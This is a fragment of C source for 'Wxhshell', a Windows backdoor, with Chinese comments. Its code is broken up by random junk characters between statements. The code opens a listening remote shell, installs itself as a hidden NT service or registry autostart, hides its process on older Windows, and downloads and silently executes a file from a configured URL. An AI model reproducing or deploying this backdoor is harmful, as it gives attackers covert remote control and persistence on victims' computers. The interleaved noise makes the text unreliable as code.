Z% hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); { 22ey`@`h if(!hProcess) return 0; y\;oZ]J rgCC3TX if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /klo),|& ~y"R{-%uS CloseHandle(hProcess); ?]Hs~n- (^FMm1@T hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9)]`le if(hProcess==NULL) return 0; kVM*[<k ~&p]kmwXSX HMODULE hMod; q6$6:L,< char procName[255]; d+v|&yN unsigned long cbNeeded; TM{m:I:Z*n JS8pN5 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5]]QW3 4y+hr CloseHandle(hProcess); SaF0JPm4z xj U0& if(strstr(procName,"services")) return 1; // 以服务启动 hz;SDaBA Od;k}u6;< return 0; // 注册表启动 @w= =*.x } c^1JSGv V.u^;gr3 // 主模块 0 fT*O int StartWxhshell(LPSTR lpCmdLine) X%-hTl { CPNV\qCY SOCKET wsl; \R@}X cqZ BOOL val=TRUE; <ZZfN@6 int port=0; P;25F struct sockaddr_in door; hl**G4z9q GYIQ[#'d7 if(wscfg.ws_autoins) Install(); A@lM= lY`WEu port=atoi(lpCmdLine); "gI-S[ @(a~p if(port<=0) port=wscfg.ws_port; M<Z#4Gg#4 mD +9/O! WSADATA data; $<Gt^3e if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; EB+4]MsD u"v$[8 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; "[["naa setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9mMQ door.sin_family = AF_INET; h6LjReNo door.sin_addr.s_addr = inet_addr("127.0.0.1"); t"%~r3{ door.sin_port = htons(port); AM!P?${a av(qV$2 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7eM6 B#rI closesocket(wsl); EMH-[EBx return 1; N|>MqH,Bt } ;MYK TE>m aRWj+[[7y if(listen(wsl,2) == INVALID_SOCKET) { ?cz7s28a closesocket(wsl); rS\mFt X return 1; 8sDw:wTC } X%*BiI Wxhshell(wsl); fvTp9T\f3 WSACleanup(); 6tVp%@ U/U_q-z] return 0; 0[ n;ZL~ *yI( (G/ } _%rkN0-(a r
H9}VA:h // 以NT服务方式启动 T^|6{ S\ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?j!/Hc/b4 { !JDyv\i} DWORD status = 0; I
%1P:- DWORD specificError = 0xfffffff; CD?b.Cxai 6S%KUFB+e serviceStatus.dwServiceType = SERVICE_WIN32; :5^5l serviceStatus.dwCurrentState = SERVICE_START_PENDING; H9VdoxKo serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?5d[BV serviceStatus.dwWin32ExitCode = 0; A#~CZQY^$ serviceStatus.dwServiceSpecificExitCode = 0; PL\4\dXB serviceStatus.dwCheckPoint = 0; * e,8o2C$ serviceStatus.dwWaitHint = 0; M#],#o*G 9J49s1 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); u`+kH8# if (hServiceStatusHandle==0) return; /6N!$*8 )J\
JAUj status = GetLastError(); $Ovq}Rexc if (status!=NO_ERROR) :Z;kMrU { "NSY=)fV serviceStatus.dwCurrentState = SERVICE_STOPPED; 0R+<^6^l) serviceStatus.dwCheckPoint = 0; I%{D5.du serviceStatus.dwWaitHint = 0; g ?%]()E serviceStatus.dwWin32ExitCode = status; EJ:2]!O serviceStatus.dwServiceSpecificExitCode = specificError; czo*_q% SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,8p-EH return; =cR=E{20 } 0F 4%Xz 1@]gBv< serviceStatus.dwCurrentState = SERVICE_RUNNING; 5X-d,8{w
_ serviceStatus.dwCheckPoint = 0; A sf]sU.. serviceStatus.dwWaitHint = 0; kafj?F if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tN;~.\TKg } [ dVRVm0N m<4tH5};d // 处理NT服务事件,比如:启动、停止 W6*5e{ VOID WINAPI NTServiceHandler(DWORD fdwControl) kf",/?s2Z { H8qAj switch(fdwControl)
3AuLRI { L{6Vi&I84[ case SERVICE_CONTROL_STOP: R/c-sV serviceStatus.dwWin32ExitCode = 0; Wzh#dO?7 serviceStatus.dwCurrentState = SERVICE_STOPPED; NydoX9 serviceStatus.dwCheckPoint = 0; NzID[8` serviceStatus.dwWaitHint = 0; );z/
@Q { 9@p+g`o SetServiceStatus(hServiceStatusHandle, &serviceStatus); g7LS } 7tT L,Nxe return; wAF#N1-k case SERVICE_CONTROL_PAUSE: r$d'[ZcX serviceStatus.dwCurrentState = SERVICE_PAUSED; 6CWm;%B#G break; {1wjIo"ptg case SERVICE_CONTROL_CONTINUE: g>f_'7F& serviceStatus.dwCurrentState = SERVICE_RUNNING; H]f8W]"c[ break; M059"X=" case SERVICE_CONTROL_INTERROGATE:
-S}^b6WL break;
pe`&zI_`? }; FVHR SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]:]w+N%7 } >R6>*|~S O#D
N3yu? // 标准应用程序主函数 .sPa${ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) klC48l { 71yf+xL 5./(n7d_ // 获取操作系统版本 v/7iu*u OsIsNt=GetOsVer(); G`R2=bb8 GetModuleFileName(NULL,ExeFile,MAX_PATH); jP"='6Vrw <NX6m|DD // 从命令行安装 =_dqoAF if(strpbrk(lpCmdLine,"iI")) Install(); 4^BHJOvs !Ry4w|w // 下载执行文件 mOi 8W,2 if(wscfg.ws_downexe) { 6~6*(s|]A if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) > 1&_- WinExec(wscfg.ws_filenam,SW_HIDE); 6/ thhP3`- } .
!;K5U y{\K:
if(!OsIsNt) { ib)AC,LT // 如果时win9x,隐藏进程并且设置为注册表启动 Bso3Z ^X. HideProc(); 8(A+"H( StartWxhshell(lpCmdLine); gkDlh{ } _"%-=^_ else `~3y[j]kO if(StartFromService()) rwou[QU // 以服务方式启动 vb Mv8Nk StartServiceCtrlDispatcher(DispatchTable); ];o[Yn'>o else ~~'UQnUN4 // 普通方式启动 zc#aQ. StartWxhshell(lpCmdLine); 5S?+03h~ [S!_ubP5 return 0; )o8]MWT\; }
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